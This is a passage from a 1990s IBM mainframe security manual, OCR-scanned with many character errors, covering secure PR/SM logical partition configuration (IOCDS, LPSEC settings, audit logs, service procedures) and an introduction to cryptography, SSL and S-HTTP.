• What other procedural controls must be follewed In order that your 
organization's security policy is maintained? 

• What operator actions are required to reconfigure this specific channel path 
In a secure manner? 

Careful attention to the lOCDS language rules relating to the CHPID REC 
parameter is necessary to achieve the desired result. 

Channel path reassignments that result from entering CHPID commands are 
remembered by the system by recerding these changes en the processor 
controller hard disk and associating them with the lOCDS (the lOCDS Itself Is not 
changed). These changes to channel path assignments (I/O configuration) take 
effect whenever the logical partitions are again activated. If the lOCDS Is 
rewritten (by Invoking HCD or lOCP), the channel path reassignments are erased 
(at the first power-on-reset using that newly rewritten lOCDS). 

When a channel path Is deconfigured from a logical partition, each subchannel 
(an internal structure that provides the logical appearance of an I/O device, and 
Is uniquely associated with one I/O device) for which this channel path is the 
only (remaining) enllne path. Is removed from the legical partition. Before the 
subchannels are removed, they are drained and disabled. Subsequently the 
channel path is reset. If the channel path being deconfigured is the last channel 
path to a device, that device is also reset. Actions directed to a removed 
subchannel result in a condition code=3 (not operational). 

At that very first use of a newly created lOCDS, power-on-reset configures all 
channel paths to the logical partitions as defined by the lOCDS. The subsequent 
mevements of reconfigurable channel paths, from one logical partition to 


128 MVS Web Server: Security 



another, is remembered by the system. During subsequent power-en-resets, as 
each iegicai partition is activated, any channei path that was (previousiy) moved 
out of a iogicai partition, is taken effline to that iogicai partition; any channei path 
that was moved into a iogicai partition, is brought on iine to that iogicai partition 
These iegicai partition changes are refiected in the LPCHNA dispiay frame. 

For discussions about reconfiguring channei paths and I/O devices, refer to: 

• 9021 and 9121 Operator's Guide 

• 9021 and 9121 Recovery Guide 

• PR/SM Pianning Guide 

Carefui review of instaiiation security guideiines must precede using the Channei 
Path Swap procedure described in the 9021 and 9121 Recovery Guide. Aii 
devices attached te the channei path being switched in may be accessibie to the 
iogicai partition This caution does not appiy to a truiy “spare” channei path, 
which is one with no devices currentiy defined or attached. 

10.4.5 Input/Output Configuration Data Set (lOCDS) 

An iOCDS defines the iogicai partitions by name, aiiocates I/O resources to each 
of them, and specifies the security characteristics of those I/O resources. The 
following list describes the security-relevant parameters of each of the IOCDS 
source statements. 

ID Ne security-related parameters 

RESOURCE Assign Iegicai partition names and numbers so that explicit control 
is asserted, and maximum checking of following IOCDS source 
statements is enabled. 

CHPID 

• Use the PARTITION parameter to specify which logical partition 
each channel path is allocated to. 

• Do not use SHARED or REC without a study of security 
implications. 

• Specify whether the channel path is reconfigurable, and specify 
which logical partitions are to have access (using logical 
partition names in the candidate list). 

• If you specify SHARED (not recommended except in very 
special cases), the channel path will be shared ameng logical 
partitions enumerated in the CHPID access/candidate list, with 
further selectivity exercised threugh the lODEVICE statement's 
candidate list. 

CNTLUNIT Ne security-relevant parameters but: 

• Care must be accorded the specification of the PATH parameter 
(channel path IDs) so that a secure configuration is the result. 

• CNTLUNIT statement's contents specify which devices are 
connected to which channel paths, and further, to which logical 
partitions. 

lODEVICE 


• The PARTITION parameter must be used if the device is 
connected to a shared channel path to limit its access te only 
the desired logical partition. 
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• Specification of the CUNUMBER parameter must be accorded 
care so that a secure configuration resuits. 

The I/O Configuration Program (lOCP) creates a unique format of OICDS for use 
in LPAR mode. Aithough the form of the input data does not need to change, 
there is a parameter that indicates which kind of output is desired. 

The input required for an LPAR lOCDS is the same as that for the basic mode 
lOCDS with one additionai parameter. In order to create an LPAR lOCDS, all 
channel path identifier (CHPID) records must have the PARTITION= keyword 
specified. This keyword indicates the name of the logical partition to which the 
CHPID is assigned and whether or not it is reconfigurabie. 

An optional (and recommended) RESOURCE statement is a compact and explicit 
way of specifying all the partition names and partition numbers. Use of the 
RESOURCE statement permits lOCP to check the spellings of every partition that 
appears on the CHPID and lODEVICE statements, and flag those that were not 
previously specified. If a RESOURCE statement is not used, the partition names 
included in the configuration is a list of all unique partition names that were 
specified in the PARTITION keyword of every CHPID statement in the 
configuration. 

10.4.6 LPAR Input/Output Configuration 

In general, I/O devices must not be shared by logical partitions, since they can 
be used to pass information from one partition to another. There may be special 
cases, such as an output-only device which an installation may consider 
shareable after careful review of any related security risks, and defining related 
security procedures and processes. 

The channel path identifier (CHPID) summary report and I/O device reports 
produced by the Input/Output Configuration Program must be thoroughly 
examined by the system security administrator for indications of unwanted 
sharing or reconfigurability of channels and devices. 

A thorough review of the actual physical connections/links of the I/O 
configuration must be performed to establish that the physical configuration is 
identical to that specified in the lOCDS source file. 

Specific attention should be given to devices with multiple device path capability, 
to ensure that one device (or control unit) does not (accidentally) connect to 
more than one partition's channel paths. 

All lOCDSs should be write-protected except for the few minutes during which 
they are actually updated. 

The time stamps of the production-level lOCDSs should be recorded. Using the 
lOCDSM display frame, periodic audits can be made to assure that the lOCDSs 
have remained unchanged. 

10.4.7 Power-On Reset 

On the CONFIG frame, after selecting an LPAR lOCDS deemed valid for secure 
operation from the lOCDSM display frame, the POR option (MODE) must be 
LPAR and no other mode. 


130 MVS Web Server: Security 



The CONFIG frame H parameters globally control Dynamic I/O Configuration 
(per-iogicai partition controi of dynamic I/O reconfiguraticn is controiied by the 
LPSEC frame's iOC parameter). Giobaliy disabiing dynamic I/O configuration 
narrows the controi of the LPSEC IOC parameter to only controlling a logical 
partition's reading and writing of lOCDS. You should not specify either of the 
CONFIG frame H parameters, thereby globally disabling dynamic I/O 
configuration. 

10.4.8 Control Authority 

The LPSEC display frame must be used to define security control properties of 
logical partitions. 

LPSEC settings are saved by the system across power-on resets for the current 
configuration. Therefore, if the same configuraticn is used, LPSEC settings need 
not be reentered (but should be checked). 

Note: The default values cf the LPSEC display frame are not appropriate for 
secure operation, and must be specified. 

Centrol authority must not be given to any of the logical partitions in a secure 
mode of operation. Abuse of control authority by a program executing in a 
logical partition can disrupt the processing in other logical partitions. 

The follewing LPSEC frame settings are required for a secure mode of operation: 

• The ISO (Isolate) optien should set be to Y. 

This option binds the partition's allocated I/O configuratien to it, even when a 
channel path (CHPID) is in an offline state. An overt, auditable operator 
action is required to unbind an item of the I/O configuration and move it to 
another partition. 

• The IOC (I/O Configuration control) option should be set to N for every 
partition. 

By negating this option, the partitiens are prevented from accessing (read or 
write) the existing lOCDS data sets, or dynamically altering the current I/O 
configuration. lOCDSs can be a means te surreptitiously pass data between 
partitions. In addition, dynamic alteration of the current I/O configuration can 
result in a partition having access to data that it is not authorized to access. 

Dynamic I/O Cenfiguration is supported by the Hardware Configuration 
Definition (HCD) preduct for the MVS/ESA operating system. 

Note: The setting of IOC must be Y for a single, specific logical partition 
only during the short period of time when it is permitted to write a new 
lOCDS. Only the lOCDS to be written should have its write-protection 
temporarily reset. All other lOCDSs should remain write-protected during an 
lOCDS update operation. 

Note: Neither the ISO nor IOC option has any effect on the sharing of 
CHPIDS or I/O Devices. Sharing is enabled by parameters ef the CHPID 
statement. 

• The PRF (Performance data control) option should be set to N. 

This recommendation is based on a desire to block any possibility of a 
partition extracting meaning from another partitien's performance data. 

• The XLP (Cress-partition control) option should be set to N. 
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Enabling cross-partition control permits one partition to disrupt processing in 
other partitions, resulting in the threat of denial of service to those partition's 
users. 

When XLP=N, the Automatic Reconfiguration Facility (ARF) is disabled. ARF 
uses the cross-partition control capability of PR/SM. ARF is not generally 
appropriate in a tightly managed, secure system. 

Note: The Logical Partition Cross Partition List Definition (LPCPLD) frame is 
inappropriate for use in a secure consolidation environment. If an 
installation requires use of the LPCPLD frame, it should be carefully 
controlled by procedures. The LPCPLD frame can change the XLP-related 
controls set up on the LPSEC frame, and could result in one partition 
disrupting processing in another. 

If one or more Integrated Cryptographic Facilities (ICRF) are installed in your 
system, care must be exercised to correctly specify each logical partition's 
access to them, and to reflect the security policy and security processes of the 
installation. 

10.4.9 Reconfiguring the System 

The recommended way to deconfigure objects owned by a logical partition is to 
first deconfigure the object from the operating system's point of view, and when 
necessary (MVS/ESA interacts with PR/SM to complete the reconfiguration 
process, other operating systems may not), use the hardware system console's 
commands to request PR/SM to deconfigure the identical object. The MVS/ESA 
operating system expects operations personnel to use the CONFIG command to 
request deconfiguration of a logical partition object. 

10.4.9.1 Reconfiguration 

If the objects are not presently part of the logical partition's configuration, they 
must be made available to the partition with the use of facilities at the hardware 
systems console. Channel paths (CFIPIDs) may be made available to the target 
logical partition using the CFIPID command; reserved storage may be available, 
but if it isn't, it can be made available by an operator or administrator action 
using the LPDEF frame. Logical processors that were previously placed offline, 
can be brought online through actions using the LPDEF Processor view. There 
are many operational considerations relating to reconfiguration that are covered 
in greater detail in PR/SM Planning Guide, MVS/ESA Planning: Operations, and 
MVS/ESA Recovery and Reconfiguration . 

The following elements can be reconfigured from the MVS operator's console 
using an MVS CONFIG command. Such a reconfiguration is limited to the 
objects owned by the logical partition: 

• Logical processors 

• Central storage 

• Expanded storage 

• Channel paths 

See MVS System Commands for further detail on the CONFIG command. 

MVS is aware of the logical partition objects it owns, and interacts with PR/SM to 
reconfigure them using the service call instruction. The execution of this 
instruction results in a mandatory interception (by the ESA/390 processor 
hardware), which causes every use thereof to be mediated by PR/SM. PR/SM 
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mediates the instruction to iimit the scope of such requests to the objects that 
the operator/administrator defined for the specific iogicai partition. 

10.4.10 Audit Trail 

Aii security-reiated events initiated from the Hardware System Consoie by the 
Administrator/Operator are written to the consoie iog (CONLOG). 

In fact, aii hardware system consoie-initiated events are recorded in the consoie 
iog. There is a separate consoie iog for the system consoie and the service 
consoie. 

When these iogs become fuil, they “wrap.” This means that the oidest entry in 
the consoie iog is overwritten first, then the next oidest, and so on. See, for 
exampie, 9021 and 9121 Operator's Guide, Keyboard Function Keys, View Log 
(PF5). 

- Attention - 

Do not use the View Log command UPDATE OFF option whiie viewing the 
audit iog. The defauit for this command is UPDATE ON, which permits the 
audit iog to continue to be updated whiie you are viewing its contents. 


You can dump the foiiowing to a tape by using the PCDDMP frame from the 
service consoie. 

• The CONLOGS (System and Service consoie iogs)) 

• PCVMCNTL and PCVMWELM traces (dumped as a by-product of this 
operation) 

A description of the PCDDMP frame can be found in 9021 and 9121 Frames. This 
capabiiity can be used to periodicaily archive the consoie iogs (audit iogs). 
Subsequent to the creation of the dump tape, the consoie iog fiies can extracted 
through the use of a simpie utiiity and then retained according to the 
instaiiation's procedures. The tape is non-iabeied and contains individuai fiies 
for each consoie iog. 

10.4.11 Recovery Planning 

The 9021 and 9121 Recovery Guide provides detaiied insights into the system 
structure, faiiure indications, and comprehensive discussions of recovery 
techniques. There is a section devoted to recovery topics in LPAR mode that 
shouid be carefuily read, and then adapted to your configuration's requirements 
for security and processing priorities, instaiiation-specific recovery procedures 
must be deveioped and documented in advance, aiways giving consideration to 
where the sensitive data wiil be after each recovery scenario compietes. 


10.5 Service and Maintenance 

Many secure accounts are hesitant about enabiing the Remote Support Faciiity 
(RSF). Consideration shouid be given to enabiing outbound RSF caiis that 
contain the data necessary to automaticaiiy dispatch an IBM service 
representative. Since there is considerabie customizing capabiiity provided, RSF 
can probabiy be taiiored to match your instaiiation's security poiicy and 
practices. 
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This product has support for the concurrent service and maintenance of 
hardware. The foiiowing can be serviced concurrentiy on 9021 modeis whiie 
normai customer operations continue: 

• Power suppiies 

• Channei cards 

• Centrai processor (CP) 

When service is performed on the above-iisted eiements of the ES/9000, these 
eiements are iogicaiiy and eiectricaiiy isoiated from the remaining portions of 
the system stiii in use. This is begun by piacing these eiements into a partiai 
service configuration (this does not appiy to power suppiies) using the SCS 
(Singie Channei Service) command for channeis, and the VARYCP OFF 
command for Centrai Processors (See ES/9000 9021 Ill-Based Models 
Operator's Guide). 

The remaining fauit isoiation and repair processes are performed from the 
service consoie. 

Note: Before piacing a channei path into a service configuration, record the 
iogicai partition name that it is currentiy assigned to. This wiii assure that after 
service is compiete, the channei path wiii be returned to the iogicai partition to 
which it was previousiy aiiocated, even if different operations personnei are now 
in charge. 

When one-haif, or the entire configuration, is surrendered for service or 
maintenance, the foiiowing recommendations shouid be foiiowed: 

• The iOCDSs shouid remain write-protected. 

• Aii instailation configuration data shouid be saved now or saved eariier. 
There is the capabiiity to dump: 

lOCDS fiies 

Any error iogs and dumps 

Active MCTs 

to a tape by using the EC/Patch Controi Frame from the service consoie and 
seiecting Save/Restore instaiiation Data (Cl), which gets you to the 
Save/Restore instaiiation data frame. This frame gives a choice of either 
saving the data, or restoring previousiy saved data. Descriptions of the 
EC/Patch Controi and the Save/Restore instaiiation Data frames can be 
found in 9021 and 9121 Frames. 

• The instaiiation configuration data shouid be restored, and the initiai 
power-on reset must be fuiiy manuai. When power-on reset compietes, use 
the LPCFINi frame to check the active i/0 configuration. 

• Prior to giving the system to the service representative for maintenance, it is 
advisabie to idie the partitions (perform an orderiy shutdown of the 
appiications and controi programs occupying the partitions, foiiowed by 
stopping each partition) rather than deactivating them. Doing this aiiows the 
system to perform automatic activation or reactivation on the subsequent 
power-on reset into LPAR mode. Automatic activation offers fewer 
opportunities for human error to affect the controiiing parameters of the 
system, and hence is more secure. 
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After completion of a service eperation, use the lOCDSM frame to check the 
lOCDS time stamps against the values recorded the last time the lOCDSs were 
updated. This ensures that the lOCDSs remain unchanged. 


10.5.1 Logical Central Processors 

A VARYCP OFF command sometimes results in a logical CP also being taken 
offline. This occurs when the physical CP is ailocated to a dedicated partition, or 
when that physical CP has a coprocesser (ICRF, or vector element) attached that 
is required by a logical partition, or when the number of logical processors in a 
logical partition exceeds the number of physical CPs remaining in a partition. A 
logical CP may also be taken offline as the result of an MVS operator entering 
an MVS CONFIG command to take one (or more) CPs offline. When this is done, 
MVS performs the work necessary to no longer dispatch work on the CPs, and 
then executes a service call instruction to request that PR/SM take the logical 
CPs offline. See MVS System Commands for further detail on the CONFIG 
cemmand. Lastly, a logical CP may be taken offline by reducing the number ef 
CPs defined for a logical partition on the LPDEF frame. 

The maximum number of logical central processers for each logical partition is 
defined at logical partition activation, and remains fixed for the duration of the 
activation. Each of these legical CPs is represented by a data structure that is 
associated enly with its specific logical partition. There are no circumstances 
where a logical CP can be “transferred” to another logical partition, nor is there 
a capability within the system te accomplish this. 

When a logical CP is taken offline, the data structure that represents it is marked 
as offline, and continues to be maintained in PR/SM-accessible storage, 
remaining abselutely bound to its logical partition for the duration of that 
partition's activation. An offline logical CP presents a checkstopped status when 
interrogated by the other logical CPs in the partition. An offline logical CP can 
be restored te the online status by issuing an MVS CONFIG command. MVS 
uses the service call instruction to request PR/SM bring an effline logical CP 
back online. If successful, MVS prepares its control structures to add the CP to 
its pool of available resources. 

For non-MVS operating systems occupying logical partitions, an offline logical CP 
can be restored to the online status threugh actions taken on the LPDEF frame's 
Processor View to increase the number of CPs (but not beyond the number of 
logical CPs that were defined for the configuration at logical partition activation). 
After the logical CP is online, the (non-MVS) operating system must be informed 
so that it will use it. 

When PR/SM precesses a VARYCP ON cemmand, the onceming physical CP's 
facilities are set to the ES/9000 Architecture-defined reset state, forcing all 
registers and arrays to contain null data. Following this, it becomes a physical 
CP resource available for use by logical partitions. For further detail, see PR/SM 
Planning Guide. 
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Chapter 11. Future Security for Your Internet Connection Server for 
MVS/ESA 


In Chapter 1, “Introducing Security into the World Wide Web,” Chapter 3, 
“Protecting the Pages on Your Internet Connection Server for MVS/ESA,” 

Chapter 4, “Security Considerations When Using Basic Server Security,” 
and Chapter 5, “Protecting Your Internet Connection Server for MVS/ESA” it is 
described how a standard World Wide Web server can give you some degree of 
access control. However, this does little to deter the hackers who are out there 
listening to and meddling with your connections. Chapter 1, “Introducing 
Security into the World Wide Web” listed the following security objectives: 

• Authentication 

• Integrity 

• Accountability 

• Privacy 

A great deal of effort has gone into producing protocols for securing World Wide 
Web communications. Although none of these protocols is a completely stable 
standard yet, some of them are widely implemented. Other protocols are still at 
the experimental or development stage. The protocols also differ in their 
objectives; some are simply for securing a client/server connection, while others 
are designed specifically for electronic payments, using a three-party 
authentication and verification scheme. Table 3 describes some of the protocols 
you are most likely to hear about. 


Protocol 

Description 

SSL 

SSL is the Secure Sockets Layer, written by Netscape 

Communications Corporation. It provides a private channel 
between client and server which ensures privacy of data, 
authentication of the session partners and message integrity. 

PCT 

PCT is the Private Communication Technology protocol proposed by 
Microsoft Corporation. PCT is a slightly modified version of SSL 
which addresses some potential problems in the areas of 
performance of key usage. 

S-HTTP 

S-HTTP is the Secure Hypertext Transfer Protocol, developed by 
Enterprise Integration Technologies (EIT). It uses a modified 
version of HTTP clients and server to allow negotiation of privacy, 
authentication and integrity characteristics. 

SHEN 

SHEN is a security scheme for the World Wide Web from the 

European Laboratory for Particle Physics (CERN). The emphasis in 
the development of SHEN was to re-deploy existing standards 
wherever possible. There are no commercial implementations of 
SHEN at present. 

STT 

STT is the Secure Transaction Technology protocol. It is a 
standard developed jointly by Microsoft Corporation and Visa 
International to enable secure credit card payment and 
authorization over the World Wide Web. STT is superseded by SET 
(see below). 

SEPP 

Secure Electronic Payment Protocol (SEPP) is another electronic 
payments scheme, sponsored by MasterCard and developed in 
association with IBM, Netscape, CyberCash and GTE Corp. SEPP is 
superseded by SET (see below). 
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Protocol 

Description 

SET 

Secure Electronic Transactions (SET) is the strategic electronic 
payments scheme proposed jointly by Mastercard and Visa. It can 
be thought of as a combination of elements of SEPP and STT. 


Table 3. Some World Wide Web Security Protocols 


This chapter describes, at a high level, the protocols that are planned for a 
future release of the Internet Connection Server for MVS/ESA. These protocols 
are SSL, and S-HTTP. The cryptographic techniques used by these protocols are 
also described in this chapter. 

- More Information About Secure Protocols - 

There are plenty of sources of information on the World Wide Web. For 
example, http://www.eit.eom/projects/s-http discusses SHTTP and 
http://home.netscape.com/newsref/std/SSL.html deals with SSL. 

A good jumping-off point to reach these pages and other WWW protocol 
specifications is http://www.w3.org. This is the home page for the World 
Wide Web Consortium, the organization that promotes the Web by produoing 
specifications and reference software. 


11.1 Cryptographic Techniques 

Both SSL and SHTTP make use of several different cryptographic protocols to 
perform their task. Needless to say, these protocols are known by a dizzying 
array of initials and acronyms. However, the protocols are all variations of the 
following three techniques: 

• Symmetric-key encryption 

• Publio-key encryption 

• Hashing functions 

These techniques are described below. 

11.1.1 Symmetric-Key Encryption 

Symmetric-Key encryption (sometimes called bulk encryption) is what most 
people think of as a secret code. The essence of a symmetric-key system is that 
both parties must know a shared secret. The sending party performs some 
predefined manipulation of the data, using the shared seoret as a key. The 
result is a sorambled message which can only be interpreted by reversing the 
encryption process, using the same secret key. A good example of a 
symmetrio-key encryption mechanism was the Enigma system used in World War 
II. In that case the manipulation was performed by an electro-mechanical 
machine and the key was a series of patch panel connections. The key was 
changed at regular intervals, so there was a fresh challenge for the code 
breakers every few weeks. 

Using modern oomputer systems, symmetric-key encryption is very fast and 
seoure. Its effectiveness is governed by two main factors, as follows: 

• The size of the key 

All symmetric-key algorithms can be cracked, but the difficulty of doing so 
rises exponentially as the key size increases. With modern computers there 
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is no problem in encrypting with keys which are large enough to be 
impossible to economically crack. However, the U.S. government imposes 
restrictions on the export of cryptographic code. You need to ask for a 
licence from the National Security Agency (NSA) to export any symmetric-key 
cryptographic product. The NSA will only grant export licenses for general 
use If the cipher is weaker than an NSA-defined, arbitrary strength. In the 
case of the RC2 and RC4 ciphers, this means using a key size of 40 bits. 
There have been recent demonstrations to show that encryption crippled in 
this way can be broken with a relatively small investment of equipment and 
time (you can read the details of one of these demonstrations at 
http://www.brute.cl.cam.ac.uk/brute/hal2.html). 

• The security with which the key is disseminated and stored 

Since both partners in a symmetric-key system must know the secret key, 
there has to be some way for it to be transmitted from one to the other. It is 
therefore vital to protect the key transmission and also to protect the key 
when it is stored on either of the partner systems. 

The most commonly used symmetric-key encryption methods are as follows: 

• The Data Encryption Standard (DES) 

This was defined by the US Government in 1977 and is based on work 
originally done by IBM. The DES standard operates on data in 64-bit blocks, 
using a 56-bit encryption key. There are some more secure variants of DES. 
The most common one is Cipher Block Chaining (DES-CBC) in which each 
64-bit block is exclusive-OR'd with the previous encrypted block before 
encryption. There is also a variant called triple-DES in which DES is applied 
three times in succession using either two or three different keys. The NSA 
places very stringent controls on the issuing of export licenses for DES. 

There are normally no problems in obtaining licenses for reputable financial 
institutions and subsidiaries of US companies, but other organizations have 
to go through a long justification process. 

• RC2 and RC4 from RSA Data Security Inc. 

The RCx ciphers are symmetric-key algorithms that are designed to provide 
an alternative to DES. They have the dual advantages of executing faster 
than DES and also permitting the use of a range of key sizes. It is possible 
to get unrestricted export licenses for the RCx ciphers using 40 bit (or less) 
keys. 

11.1.2 Public-Key Encryption 

It is quite easy to understand how a symmetric-key algorithm works, at least at 
an intuitive level. Public-key systems are more difficult to envision although they 
are not necessarily any more complex, mathematically speaking. Instead of 
having one shared key, a public-key system has a key pair, comprised of a 
public and a private component. As the names suggest, the private key is a 
secret key known only by its owner, while the public key is made generally 
available. The cunning part is this: anything encrypted using one half of the key 
can only be decrypted using the other half. 

The following facilities are provided with a public-key system: 

• Data privacy, since the encrypted data can only be interpreted by the target 
system (the owner of the private key) 
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• Authentication of the sender, because only the owner of the private key 
could have encrypted the data 

Public-key cryptography algorithms tend to be much less efficient than 
symmetric-key systems in terms of the computing power they consume. On the 
other hand they do not suffer from key distribution problems. Public-key systems 
are often employed In combination with symmetric-key systems, being used for 
distributing keys and authentication purposes, but leaving the bulk encryption job 
to the symmetric-key cipher. 

The only public-key cryptegraphy system commonly used Is the RSA algorithm, 
patented by RSA Data Security Inc. You can find a description of RSA in the 
RSA frequently asked questions pages at http;//www.rsa.com/rsalabs/faq. 

11.1.3 Secure Hash Functions 

We have seen how public-key and symmetric-key cryptegraphy techniques can 
provide data privacy and sender authenticatlen. The elements remaining in our 
wish list are integrity and accountability. The techniques usually used to 
Implement these features are hashing or message digest algorithms. The 
principal attributes of a secure hashing function are the following: 

1. It is a one-way process. That is, it is impassible (or at least extremely 
difficult) to reconstruct the original data from the hashed result. 

2. The hashed result is not predictable. That is, given one set of source data, it 
is extremely difficult to find another set ef data with the same hashed result. 

You can compare the process to mashing a potato. No two potatoes will 
produce exactly the same heap ef mash, and you cannot recreate the original 
potato after you have mashed It. 

How can you use these functions to your advantage? Say the sender of a 
message Includes a hashed digest of the message in the transmission. When 
the message arrives, the receiver can execute the same hash function and 
should get the same digest. If the two digests do not match. It Indicates that the 
message may have been altered in transit and should not be trusted. Thus we 
have achieved our integrity objective. For the question of accountability, you 
need te combine a hashing algorithm (to ensure the integrity of a package) with 
public-key encryptien (te ensure the identity ef the sessien partners) and place a 
timestamp In the source data. 

The following secure hash functions are In general use: 

• MD2 and MD5 frem RSA Data Security Inc (MD stands for Message Digest). 
MD5 Is the most commonly used of the twe. MD2 and MD5 preduce a 128-bit 
digest. 

• Secure Hash Standard (SHS), which has been adopted by the US 
Government as a standard. It generates a 160-blt digest, se it may be more 
secure than MD5 (although no successful attack on MD5 has ever been 
demonstrated). 
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11.2 An Introduction to SSL and S-HTTP 


This section describes, at a high ievei, how SSL and SHTTP operate and 
contrasts the two protocois. if you want to understand them in greater detaii, 
check the Web sites previousiy iisted. 


11.2.1 SSL 

As its name suggests, the Secure Sockets Layer (SSL) provides an aiternative to 
the standard TCP/iP socket API which has security impiemented within it. The 
advantage of this scheme is that, in theory, it is possibie to run any TCP/IP 
application in a secure way without changing it. In practice, SSL is oniy 
impiemented for HTTP connections, but Netscape Communications Corp. has 
stated an intention to empioy it for other appiication types, such as Teinet. 

There are two parts to the SSL standard, as foiiows: 

1. A protocoi for transferring data using a variety of predefined cipher and 
authentication combinations, cailed the SSL Record Protocol 

2. A protocoi for initiai authentication and transfer of encryption keys, caiied the 
SSL Handshake Protocol 

An SSL session is initiated as foiiows: 

1. On the ciient (browser), the user requests a document with a speciai URL 
which commences https: instead of http:, either by typing it into the URL 
input fieid, or by ciicking on a iink. 

2. The ciient code recognizes the SSL request, and estabiishes a connection 
through TCP port 443 to the SSL code on the server. 

3. The ciient then initiates the SSL handshake phase, using the SSL Record 
Protocoi as a carrier. At this point there is no encryption or integrity 
checking built in to the connection. 

11.2.2 The SSL Handshake Protocol 

The objectives of the SSL handshake are as foiiows: 

1. To estabiish the identity of the server and, optionaiiy, the ciient 

2. To estabiish a symmetric encryption key for the remainder of the session 

3. To perform the first two steps in a secure way 

The server pubiic key is transmitted in a certificate. A pubiic key certificate is a 
way in which a trusted third party can vouch for the authenticity of a pubiic key. 

Foiiowing the handshake, both session partners have generated a master key. 
From that key they generate other session keys, which are used in the 
symmetric-key encryption of the session data and in the creation of message 
digests. The first message encrypted in this way is the finished message from 
the server, if the ciient can interpret the finished message, this means the 
foiiowing: 

• Privacy has been achieved, because the message is encrypted using a 
symmetric-key buik cipher (such as DBS or RC4). 

• The message integrity is assured, because it contains a Message 
Authentication Code (MAC), which is a message digest of the message itseif 
plus material derived from the master key. 
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• The server has been authenticated, because it was abie to derive the master 
key from the premaster key. Because this was sent using the server's pubiic 
key, it couid only have been decrypted by the server (using its private key). 

The WWW document itseif is then sent using the same encryption options, with a 
new set of session keys being caicuiated for each new message. 

Note: This is a highly simplified version of SSL. In reality it contains numerous 
other details that counter different types of attack. Refer to the specification at 
http://home.netscape.com/newsref/std/SSL.html if you want more information. 

Obviously, the handshake and the many cryptographic processes it involves is 
quite an overhead to both the client and server. To reduce this overhead, they 
both retain a session identifier and cipher information. If a subsequent 
document request occurs, they will resume the SSL connection using the 
previous master key. 

11.2.3 SSL and Client Authentication 

We have said that SSL does define a process for client authentication (that is, a 
way for a client with a public key to prove its identity to the server). This is not 
currently implemented in any server or browser products. 

However, one thing that SSL can do for us in this area is to make the basic 
authentication scheme more secure. As described in previous chapters, basic 
authentication does not protect the user ID and password in transit. If you wrap 
the basic authentication flow in an SSL-encrypted connection this weakness 
disappears. There is still the general unreliability of password-based systems to 
contend with, but nonetheless the process is much more secure. 


11.2.4 S-HTTP 

S-HTTP is a secure variant of http developed by Enterprise Integration 
Technologies (EIT) and made available in a software development toolkit by 
Terisa Systems. 

At a high level, S-HTTP operates in a similar way to SSL. That is, there is an 
initial setup phase, equivalent to the SSL handshake, during which cryptographic 
options are negotiated. Then the data transfer is performed using those options. 
There are some important detail differences, however. 

Firstly, S-HTTP does not attempt to isolate the application layer from the secure 
channel, but instead is defined as enhancements to the existing HTTP protocol. 

The negotiation phase is different too. Instead of a special sequence of 
handshake messages, the negotiation exchanges in S-HTTP are enclosed in the 
message header of normal HTTP requests. For example, the client may send a 
GET request with cryptography options enclosed. The server knows that it is to 
be handled by S-HTTP because the URL starts with shttp: instead of http:. The 
S-HTTP code then gets control and responds with its side of the negotiation. 

In this S-HTTP negotiation phase, the client and server exchange messages 
detailing what cryptographic features they will accept. One of the following three 
conditions can be specified for each entity: 

Optional The negotiator can accept this feature but does not require it. 

Required The negotiator will not accept a connection without this feature. 
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Refused The negotiator will not accept, or cannot handle, this feature. 

Each of these conditions may be specified for each direction of the session. 
Direction is expressed as originated (meaning from the negotiator to the other 
party), or received. This can cause some confusion, because originated in a 
negotiation message from the client is viewed as received by the server. 

So far we have only referred to mysterious cryptographic features. What we 
mean by this is the different protection methods and formats to be employed. To 
appreciate the meaning of the cryptographic features, let us draw an analogy. 
Imagine you want to send a gift using the mail service. You could just stick a 
stamp and address label on it and drop it in a mail box. More likely, though, you 
would do the following: 

• You would wrap the gift in brown paper, to prevent prying eyes from seeing 
what it is. 

• You would enclose a letter, and sign it, so the receiver knew it came from 
you. 

• If it was valuable, you might seal the package so you would know if someone 
had tampered with it. 

S-HTTP takes exactly this approach with data, using symmetric-key encryption 
for the brown paper, public-key encryption for the signed letter and hashing 
functions for the seal. It allows any combination of these three options. 

With this in mind, let us look at the cryptographic features that S-HTTP can 
negotiate. There are, in fact, many possible features in the negotiation dialog, 
but the following list describes the most important ones: 

Privacy enhancements 

This describes the overall shape of the encryption scheme. It can take any 
combination of sign, encrypt and auth. Sign means that the sender 
provides a signature block, encrypt means that the data is to be encrypted 
and auth means that a Message Authentication Code (or MAC, a digest of 
the message contents) is to be included to guarantee integrity. 

- Beware of Confusing Terminoiogy! - 

In this book we use the term authentication when verifying the sender of 
the message and the term integrity when checking that the contents of 
the message are unchanged. By contrast, S-HTTP uses signing for 
sender verification and (confusingly) authentication for message 
verification. 


Signature aigorithms 

This defines what kind of public-key encryption is to be used for the 
authentication signature block. 

Symmetric content aigorithms 

This defines what type of symmetric-key encryption is to be used to ensure 
the privacy of the data content. 

Message digest aigorithms 

This defines what hashing function is to be used to generate a MAC. 

Key exchange aigorithms 

S-HTTP supports the use of RSA public-key encryption to transfer cipher 
keys, similar to the method used by SSL. However, it also allows for 
out-of-band key exchange, and for Kerberos key distribution. 
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Privacy domains 

This describes the kind of message formats the session partners wili use. 
The normai message format is Pubiic Key Cryptography Standard 7 
(PKCS7), but Privacy Enhanced Maii (PEM) is aiso supported. The setting 
of privacy domains controis the syntax for such things as digitai enveiopes, 
digitai signatures and certificates. It aiso controis the way in which specific 
cryptographic aigorithms are used. 

If you factor together the different types of signing, encryption and MAC 
generation that are possibie, and then further consider the fact that they may be 
appiied differentiy in each direction, you end up with a formidabie array of 
negotiation options. 

11.2.5 SSL and S-HTTP Compared 

Aithough these two protocois attack the same set of probiems, they use 
significantiy different approaches. You can think of S-HTTP as a smorgasbord 
approach, with a iarge choice of options that are taken in any combination to 
make the meai of your choice. By contrast, SSL is something of a fixed-price 
menu: good whoiesome food, but a iimited number of combinations. 

One major advantage of S-HTTP is its abiiity to perform ciient authentication. 

This aiiows a truiy secure ciient/server session to be estabiished. The fact that 
this requires the ciient to have a pubiic key certificate iimits the degree to which 
it may be appiied, however. 

The major advantage of SSL iies in its ease of use. The cryptography options 
are ail hard-coded into the browser and server code, so the Webmaster does not 
need to worry about specifying options in HTML or configuration fiies. Aiso, the 
domination of Netscape products in the Worid Wide Web makes SSL the ciear 
choice for appiications with a widespread ciient base. 

You couid, in theory, use both SHTTP and SSL together, since one enhances the 
HTTP session fiow and the other encapsuiates it. The oniy thing preventing this 
in current impiementations is the fact that the URL conventions (https: for SSL 
